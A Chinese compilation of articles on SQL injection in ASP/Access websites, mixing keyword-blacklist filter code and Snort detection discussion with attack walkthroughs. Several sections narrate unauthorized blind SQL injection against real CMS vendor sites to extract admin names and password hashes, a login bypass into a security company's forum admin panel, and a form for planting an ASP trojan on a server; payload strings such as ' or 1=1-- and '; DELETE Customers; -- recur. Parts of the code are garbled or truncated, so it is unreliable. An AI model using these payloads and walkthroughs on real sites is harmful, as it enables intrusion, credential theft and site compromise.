当sql运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节
针对常用的sql注入式攻击方式对症下药
参考
Advanced SQL Injection In SQL Server Applications
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
More Advanced SQL Injection
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
Dreamweaver中sql注入式攻击的防范
Dreamweaver+ASP可视化编程门槛很低,新手很容易上路。在很短的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了。界面的友好性、运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点。

在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞。
所谓SQL注入(SQL injection),就是利用程序员对用户输入数据的合法性检测不严或不检测等设计上的漏洞,故意从客户端提交特殊的代码(SQL命令),收集程序及服务器的信息,获取想得到的资料而进行的攻击。
可见Sql注入攻击得逞的主要原因没有对用户输入的数据进行验证,可以从客户端动态生成Sql命令。
一般的http请求不外乎get 和 post,所以只要我们在程序中过滤所有post或者get请求的参数信息中非法字符,即可实现防范SQL注入攻击。
遗憾的是DW并没有提供相关代码,因此要想防范SQL注入式攻击就需要手工修改,
只要将下面的程序保存为SQLinjection.asp,然后在需要防注入的页面头部调用

就可以做到页面防注入.
如果想整站防注,就在DW生成的Connections目录下的数据库连接文件中添加头部调用或直接添加下面程序代码,需要注意的是,在添加到数据库连接文件中,可能在后台表单添加文章等内容时,如遇到SQL语句系统会误认为SQL攻击而提示出错。
通用程序代码(引自网络做适当更改)如下:
<%
'--------定义部份------------------
dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete
|update|count|*|%|chr|mid|master|truncate|char
|declare|1=1|1=2|;"
SQL_inj = split(SQL_Injdata,"|"
'--------POST部份------------------
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),
Sql_Inj(Sql_DATA))>0 Then
Response.Write ""
Response.end
end if
next
Next
End If
'--------GET部份-------------------
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write ""
Response.end
end if
next
next
end if
%>

通过上面的程序,就可以实现抵御从Get方法或Post方法提交的危险SQL注入字符,并警告入侵者后转向到index.htm(首页)。 
SQL注入攻击零距离
一次次的SQL注射入侵,一次次的网站被黑,总是那句话,漏洞在所难免,难道一点办法都没吗?这篇文章就是为大家解析下SQL注 射的原理,以及给出一些预防方法。
一:基础篇
分析下漏洞产生的原因,主要还是参数没完全过滤。
cntid = Request("cntid")
这样的语句就存在一个注入攻击,首先,没验证是否为整数
解决方法:
<% dim cntid
cntid =replace(request("cntid "),"","")
if (not isnumeric(cntid)) then
call error
response.end
end if
sub Error()
response.write "

cellpadding=4 cellspacing=0 >"
response.write " "
response.write " "
response.write " "
response.write " "
response.write " "
response.write "
"
response.write "

操作: 参数错误!
"
response.write "
"
response.write "


"
response.write " 参数错误!!!非法探测已经被记录

"
response.write " 返回"
response.write "

"
end sub
%>
这是一个最基础的过滤,如果提交非法参数效果如图1:

那么我们还需要注意什么?
用户名的注册,必须过滤掉一些特殊符号,继续刚才的话题,我们假设是username.
<% dim username
username =replace(request("username "),"","")
if Instr(username,"=")>0 or Instr(username,"%")>0 or Instr(username,chr(32))>0 or Instr(username,"?")>0 or Instr(username,"&")>0 or Instr(username,";")>0 or
Instr(username,",")>0 or Instr(username,"")>0 or Instr(username,",")>0 or Instr
(username,chr(34))>0 or Instr(username,chr(9))>0 or Instr(username,"")>0 or
Instr(username,">")>0 or Instr(username,"<")>0 or Instr(username,"$")>0 or Instr
(username,"#")>0 or Instr(username,"@")>0 then
call error
response.end
end if
sub Error()
response.write "

cellpadding=4 cellspacing=0 >"
response.write " "
response.write " "
response.write " "
response.write " "
response.write " "
response.write "
"
response.write "
操作: 参数错
误!
"
response.write "
"
response.write "


"
response.write " 用户名中含有非法字符(“=”,“%”,
“?”,“&”,“;”,“,”,“”,””,“>”,“<”,“$”,“#”,“@”)

"
response.write " href=javascript:οnclick=history.go(-1)>返回"
response.write "

"
end sub
%>
利用这个原理,我们还能过滤一些可能存在cookies跨站脚本的地方:
只要过滤cookie,java这样的字眼,方法同上。需要注意的事,类似与用户登陆的地方,用户名一定要username =replace(request("username "),"",""),意思就是把’过滤成”,这样做的目的就是预防’ or ‘’=’这样的入侵。
可是如果类似www.xx.com/list.asp? action = search
我们可以这样过滤
<% action=request("action")
select case action
case "search"
call search()
case else
call search()
end select
sub search ()
这里是search的内容
end sub
%>
大家可以看到无论对错,都执行search。这样也可以预防SQL。
二:密码安全
采用不可逆加密是必须的选择,防止别人探测到密码后暴力破解,MD5用艿氖迪址浅<虻ィ姹闳フ腋鯩D5函数体,很多源代码都 带。
这里是引入MD5函数
<% dim username
username =md5(md5(replace(request("username "),"","")))
%>
这里就实现了2次MD5加密,一般2-3次就足够了,暴力破解比较困难:)
COOKIES欺骗问题很严重,所以一般后台管理员一定要session验证。实现方法
我们在登入成功后写入
session("btadmin")=rsadmin("admin")
建立一个验证函数cookies.asp
内容如下
<%
if session("btadmin")="" then
response.redirect "admin.asp"
end if
%>
在每个管理员操作文件的开头加上

这样就可以预防非法登陆了:)
我们经常看到验证码这样的东西,这样做是为了预防暴力破解。
实现方法,假设登入为login.asp
我们在开头加:
<%
dim p
randomize ‘对随机数生成器做初始化的动作
p = Int((8999 * Rnd) + 1000)
session("cntcode")=p %>
插入验证代码的表格

请输入验证码


在左边框输入: <%=session("cntcode")%>
最后验证程序:
<%
if request("yanzhen")="" or trim(session("cntcode"))
<>trim(replace(request("yanzhen"),"","")) then
response.write " 请正确输入您的验证码。"
response.end
else
%>
程序运行效果如图2:
三:数据库安全
爆库的方法越来越多,我们来看下:如图3
按X档案以前文章一位大侠说的,将/替换为 %5c,确实很多网站都存在这样的漏洞。大家可以清楚的看到数据库地址。
偶什么方法可以预防呢?
。。。(代码见杂志)。。。。。。。。。。。
这是一个数据库连接文件,大部分为conn.asp
关键在与on error resume next出错了也执行下一句
我们看下他的运行效果。

除了图片显示不正常外,没暴露数据库:)
其实浪心建议用WIN2003做服务器,当你用%5c 来替换的时候
_blank>http://127.0.0.1/fourm.asp?cntid=4
自动换成%5cfourm.asp/多个/
_blank>http://127.0.0.1%5cfourm.asp/?cntid=4
找不到服务器,唯一的结果,更厉害:)
还有一种方法就是不让对方下载数据库
方法是
新建一个notdown表,字段为nodown, 数据类型为ole 如图4
保存为mdb.mdb
OK,我们写个nodown.asp
代码如下
。。。(代码见杂志)。。。。。。。。。。。
把他同数据库一同上传到你的空间,或者本地做个IIS,运行nodown.asp
提示添加记录成功。
OK,把数据库重新命名为mdb.asp
直接在浏览器里输入数据库地址:提示
Active Server Pages 错误 ASP 0116
丢失脚本关闭分隔符
/bbs/cntlovebbs.asp,行 44042
Script 块缺少脚本关闭标记(%>)。
用快车下载提示HTTP 500错误
OK到这里数据库安全也过去了:)下面说下浪心新的思维:)没任何技术难度,会VB的都会写:)
四:安全的后台登入
。。。(代码见杂志)。。。。。。。。。。。
OK了:)程序简单的出奇,他的功能可不小哦:)你的网站可以比以前安全许多。
SQL注入技术和跨站脚本攻击的检测
文章来源:黑基博客 
    在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循安全代码进行开发,攻击者将通过80端口进入你的系统。广泛被使用的两个主要攻击技术是SQL注入[ref1]和CSS[ref2]攻击。SQL注入是指:通过互联网的输入区域,插入SQL meta-characters(特殊字符代表一些数据)和指令,操纵执行后端的SQL查询的技术。这些攻击主要针对其他组织的WEB服务器。CSS攻击通过在URL里插入script标签,然后 诱导信任它们的用户点击它们,确保恶意Javascript代码在受害人的机器上运行。这些攻击利用了用户和服务器之间的信任关系,事实上服务器没有对输入、输出进行检测,从而未拒绝javascript代码。
这篇文章讨论SQL注入和CSS攻击漏洞的检测技术。网上已经有很多关于这两种基于WEB攻击的讨论,比如如何实施攻击,他们的影响,怎样更好的编制和设计程序防止这些攻击。 然而, 对如何检测这些攻击并没有足够的讨论。我们采用流行的开源的IDS Snort[ref 3],组建根据检测这些攻击的规则的正则表达式。附带,Snort默认规则设定包含检测CSS的方法,但是这些容易被避开检测。比如大多通过hex进制编码,如%3C%73%63%72%69%70% 74%3E代替. 因为大多数出版物和网络传播的检测网站是否有css漏洞都拿这个作为例子。这些尝试都可以很简单的被检测出来。 然而,高明点的攻击者可能用它的hex值替换整个字符串。这样"
Response.End
End If
Next
Next
Else
For Each RequestKey In Request.Form
For ForI=0 To Ubound(ErrorSql)
If Instr(LCase(Request.Form(RequestKey)),
ErrorSql(ForI))<>0 Then
response.write ""
Response.End
End If
Next
Next
End If
%>
第二个
Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"", 1, -1, 1)
Str = Replace(Str, """", """, 1, -1, 1)
Str = Replace(Str,"<;","<;", 1, -1, 1)
Str = Replace(Str,">;",">;", 1, -1, 1)
Str = Replace(Str, "script", "script", 1, -1, 0)
Str = Replace(Str, "SCRIPT", "SCRIPT", 1, -1, 0)
Str = Replace(Str, "Script", "Script", 1, -1, 0)
Str = Replace(Str, "script", "Script", 1, -1, 1)
Str = Replace(Str, "object", "object", 1, -1, 0)
Str = Replace(Str, "OBJECT", "OBJECT", 1, -1, 0)
Str = Replace(Str, "Object", "Object", 1, -1, 0)
Str = Replace(Str, "object", "Object", 1, -1, 1)
Str = Replace(Str, "applet", "applet", 1, -1, 0)
Str = Replace(Str, "APPLET", "APPLET", 1, -1, 0)
Str = Replace(Str, "Applet", "Applet", 1, -1, 0)
Str = Replace(Str, "applet", "Applet", 1, -1, 1)
Str = Replace(Str, "[", "[")
Str = Replace(Str, "]", "]")
Str = Replace(Str, """", "", 1, -1, 1)
Str = Replace(Str, "=", "=", 1, -1, 1)
Str = Replace(Str, "’", "’’", 1, -1, 1)
Str = Replace(Str, "select", "select", 1, -1, 1)
Str = Replace(Str, "execute", "execute", 1, -1, 1)
Str = Replace(Str, "exec", "exec", 1, -1, 1)
Str = Replace(Str, "join", "join", 1, -1, 1)
Str = Replace(Str, "union", "union", 1, -1, 1)
Str = Replace(Str, "where", "where", 1, -1, 1)
Str = Replace(Str, "insert", "insert", 1, -1, 1)
Str = Replace(Str, "delete", "delete", 1, -1, 1)
Str = Replace(Str, "update", "update", 1, -1, 1)
Str = Replace(Str, "like", "like", 1, -1, 1)
Str = Replace(Str, "drop", "drop", 1, -1, 1)
Str = Replace(Str, "create", "create", 1, -1, 1)
Str = Replace(Str, "rename", "rename", 1, -1, 1)
Str = Replace(Str, "count", "count", 1, -1, 1)
Str = Replace(Str, "chr", "chr", 1, -1, 1)
Str = Replace(Str, "mid", "mid", 1, -1, 1)
Str = Replace(Str, "truncate", "truncate", 1, -1, 1)
Str = Replace(Str, "nchar", "nchar", 1, -1, 1)
Str = Replace(Str, "char", "char", 1, -1, 1)
Str = Replace(Str, "alter", "alter", 1, -1, 1)
Str = Replace(Str, "cast", "cast", 1, -1, 1)
Str = Replace(Str, "exists", "exists", 1, -1, 1)
Str = Replace(Str,Chr(13),"<;br>;", 1, -1, 1)
CheckStr = Replace(Str,"’","’’", 1, -1, 1)
End Function
 蓝雨设计整站SQL注入漏洞
最近无聊,在网上走来走去看看。发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?
一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交http://***.net/view.asp?
action=art&art_id=70 and 1=1 返回以下信息。
再次输入
http://***.net/view.asp?
action=art&art_id=70%20and%201=2 返回以下信息
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。
二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊(HaK_BaN:难道真的....真的要我手动注入T_T)NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.net/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin) 现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。
三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“蓝雨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(HaK_BaN:我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性阿)
废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len(name)
??0) (HaK_BaN:*_*不是阿!不是NAME字段阿)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0) (HaK_BaN:这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0) 信息回显正常对吧!?哈哈哈(
说到这里整个猜解就差不多完场了!(菜鸟:什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“蓝雨”是管理员账号。我们就有两种可能性,一是蓝雨的拼音“lanyu”,二是蓝雨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。
然后再提交http://fj126.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)
这下子页面可算是正常了!然后再次提交语句为
http://***.net/view.asp?
action=art&art_id=70%20and%201=(select%20count(*)
%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。(HaK_BaN:说真的我很久没有手动了,都差不多腰酸背痛了!)至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:lanyu是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!
四,总结
整个程序的SQL注入页面有几个,都是基于蓝雨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到非安全的论坛或者BCT小组找我!
                                                                    SQL注入渗透某网络安全公司的网站全过程       
                                                                    

--------------------------------------------------------------------------------

                                                                    
                                                                    
前言:写这篇文章不是为了告诉大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽运作上的一些小细节。
笔者一直都有经常性地到一些安全方面的网站瞎逛的习惯的,最近因为一次机缘巧合之下通过链接来到广州某个颇有名气的网络安全公司的网站。说实在的,这个网站好象挺多元化的,提供软件下载之余,还有自己的论坛(嘿嘿,界面做得还真不赖嘛,不知道安全性如何呢?)。出于对其安全操守的好奇,小神决定义务为其做个的初步的“安全渗透测试”。开始时只是拿一些综合性的网络漏洞扫描工具(X-scan3.0、Nmap、Retina等等)进行信息扫描,然后做个结果筛选,结果只查到对方开了TCP80端口(也就是说他们的服务器只提供了正常的HTTP服务),且无任何典型的漏洞....没戏了,对方毕竟还是一间有些知名度的企业嘛(因为这篇文章的重点并不在此,所以用网络漏洞扫描器作信息扫描这个步骤我就不在这里多作说明了)。就这样放弃了吗?没那么容易...恰好小神最近在整理SQL Injection(SQL注入攻击)方面的资料,既然现在有机会就再“勉为其难”地帮它测试一下吧:P
------------------------------------------------------------------------------------------
提示:
问:什么是SQL注入?
答:这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。
SQL注入技术的更多相关信息请看:
http://demonalex.nease.net/sql_injection/walkthrough.txt
------------------------------------------------------------------------------------------
首先是下载系统,随便抽一个工具的下载地址:
http://该安全公司的网址/某目录/download/open.asp?id=3444
------------------------------------------------------------------------------------------
附录:这里笔者用中文代替了某些敏感信息,还请各位见谅哦。
------------------------------------------------------------------------------------------
http://该安全公司的网址/某目录/download/open.asp?id=3444'
先测试一下对方有没有过滤'(单引号)...
示:
问:如何确认一个网站有SQL注入缺陷呢?
答:首先先加入某些特殊的字符标记,输入如:
hi' or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.htm?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分的值,如:
〈FORM action=http://duck/Search/search.asp method=post〉
〈input type=hidden name=A value="hi' or 1=1--"〉
〈/FORM〉
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。
------------------------------------------------------------------------------------------
再试试下面的url,看看能否返回正常的页面...
http://该安全公司的网址/某目录/download/open.asp?id=3444"
http://该安全公司的网址/某目录/download/open.asp?id=3444' or 1=1--
http://该安全公司的网址/某目录/download/open.asp?id=3444" or 1=1--
http://该安全公司的网址/某目录/download/open.asp?id=3444' or 'a'='a
http://该安全公司的网址/某目录/download/open.asp?id=3444" or "a"="a
------------------------------------------------------------------------------------------
提示:
问:为什么要特意使用' or 1=1--来做测试呢?
答:让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.htm?category=food
在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory='food'
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果我们把该URL改成这样的话:
http://duck/index.htm?category=food' or 1=1--
现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,那条SQL请求将会是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
' or 'a'='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
------------------------------------------------------------------------------------------
都是返回“HTTP 500 - 内部服务器错误”,看来是又失败了,不怕,我们还有希望...此时的希望只能全部寄托在论坛上了...
循序渐进,首先找来一条帖子的url(这一步笔者挑了:http://该安全公司的网址/论坛目录/list.asp?ltid=14这条URL)重复刚刚的行为:
http://该安全公司的网址/论坛目录/list.asp?ltid=14'
http://该安全公司的网址/论坛目录/list.asp?ltid=14"
http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 1=1--
http://该安全公司的网址/论坛目录/list.asp?ltid=14" or 1=1--
http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 'a'='a
http://该安全公司的网址/论坛目录/list.asp?ltid=14" or "a"="a
不过看来还是在吃白果...(如下图所示)
除了地址栏,不要忘了还有论坛首页的登陆框:
在“用户名:”区域中输入:
网***' or 1=1--
然后在“密码:”区域中随便输入几个密码看看吧:P
------------------------------------------------------------------------------------------
附录:“网***”为我们在论坛首页中看到的那个版主帐号。
------------------------------------------------------------------------------------------
还是不行,试试在密码区域进行注入攻击吧...具体操作:
在“用户名:”中输入:
“网***”
然后在“密码:”中输入:
' or 1=1--
(提交后得到下图)
fail...再用:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
切换了几次,还是不行,看来真的是“坚不可摧”了...
“风继续吹,不忍远离...”小神的MP3里哼着‘哥哥’张国荣的歌,难道就这样离开吗?到论坛的首
页里再逛一圈吧....一扫眼,还真道灵光,注意一下论坛登陆区域上方的小链接,看到了吧?第三条
链接是什么呢?
单击后跳出如下图所示的登陆窗口:
首先在“论坛:”这一拦选中相应的版面(这里笔者挑了第一个版面“安全工具”),然后再重新尝试一下:
帐号: 网***' or 1=1--
密码: 任意密码
不行,再试试:
帐号: 网***
密码: ' or 1=1--
......
......
小神的手颤了一下,只因“有颜色的界面”出来了:
开始时以为是假象,连忙点击“进入后台>>>”...
这次看来是真的了,点击其中一条帖子再测试一下:
(看到了吧?有“删除”按钮了也...其实我们可以做的还不只这些...PS:小神可是个好孩子哦^_^)
写到这里,也算是有个交代了吧?!^@@^
整篇文章的主旨也不过就是介绍了如何简单地利用SQL注入攻击渗透论坛吧,其实现在再谈SQL注
入也是老生常谈了,但想不到连知名的网络安全公司也有这样的漏洞,归根结底就是人们对安全意识
的不重视而引起的,这篇文章告诉了我们:不要忽视运作中的一些小细节。                  
sql注入防御
网站的噩梦——SQL注入
SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
防御SQL注入妙法
第一步:下载SQL通用防注入系统的程序,在需要防范注入的页面头部用




action="" onSubmit="return chk(this)" target="_blank">
cellpadding="0" cellspacing="0">















目标位置:type="text" id="ftpUrl" size="50">
例:http://127.0.0.1/FTP.ASP<;/td>
生成文件:
将在服务器上,生成的文件路径。例:
C:/Inetpub/wwwroot/Server.asp
文件代码:








版权所有:
XXXX(xx盟



在目标位置栏填上刚刚生成的ftp.asp文件的url地址
如 http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:/Inetpub/wwwroot/Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
如何在SQL注入时保护数据库
SQL注入是防止数据库攻击的一个有效策略。攻击者将注入一个SQL语句到另外一个语句中,这个通常会损坏你的数据库。有数据库接口的Web站点通常在SQL注入的时候容易受到攻击,因为它们是基于动态的SQL;下面是一个简单的例子:
在一个ASP页面中会请求用户输入名字和密码,然后将下面的字符串发送到数据库中:
SELECT FROM users WHERE username =
’whatever’ AND password = ’mypassword’
这看起来很安全,实际上不是,一个用户可能会这样输入他的名字:
’ OR 1>0 –
当把这个输入到SQL语句中的时候,结果可能会象这样:
SELECT FROM users WHERE username
= ’’ OR 1>0 -- AND password = ’’
这个注入语言将通过语句暴露密码。这将导致所有的用户名都会在用户列表中,所以,任何用户都可以进入到你的系统中。
最简单阻止注入分类是分析SQL串并移动语句之前的任何“--”的发生。
同时,你要小心注入的时候含有分号,因为分号是给SQL语句分界。如果一个用户的名字是下面这个:
’ OR 1>0 ; DELETE Customers ; --
如果一个用户怀有恶意,那么他可以使用多种方法看穿你的系统,但是,最简单的方法就是避免动态的SQL,用存储过程来代替。使用SQL来遍历参数,注入上面所提到的将会产生进程错误,并且存储进程将不会被执行。
 天晨设计整站SQL注入漏洞
先发点牢骚,刚刚了一个陌生的城市(上海),很容易找到了个公司上班了,那就是天晨,在他们公司我负责的是安全,在这里,我没天都是在检测安全,先是服务器,后是整站,呵呵,很清楚的记得,我上了八天班,在这八天里面,我都是认真很认真的去把没个漏洞,一个一个的补上,担心的事终于来到了,呵呵,不知道是我的问题还是其他原因公司经理找我了,呵呵说我XXXX原因,不能继续留在公司,呵呵意料之中,当天晚上回到了朋友家里,说真的以我以前的个性,他们公司的安全都是我做的,什么问题我应该很清楚,但我没那么做,也很奇怪的是,就在哪个时候服务器好象出了问题,呵呵,也许上天都在为我抱不平,好人做到底,发个Email给他们吧,安全还存在问题!今天的遭遇,我没怨过任何人,只能怪自己太傻!总结一下,自己真的太傻了!在这里只想说一句,朋友谢谢你送我的书,我不会忘记,但我也同时当着全网络的同行送你一句,做人要厚道!
最近在网络上看天晨设计整站的使用者也越来越多了,天晨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指天晨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪天晨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角啊?
一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交
http://***.com/view.asp?
action=art&art_id=70 and 1=1 返回。
再次输入
http://***.com/view.asp?
action=art&art_id=70%20and%201=2 返回
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。
二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊,NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.com/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin)
现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。
三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“天晨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性啊)
废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.com/view.asp?
action=art&art_id=70%20and%201=(select%20count
(*)%20from%20admin%20where%20len(name)??0)
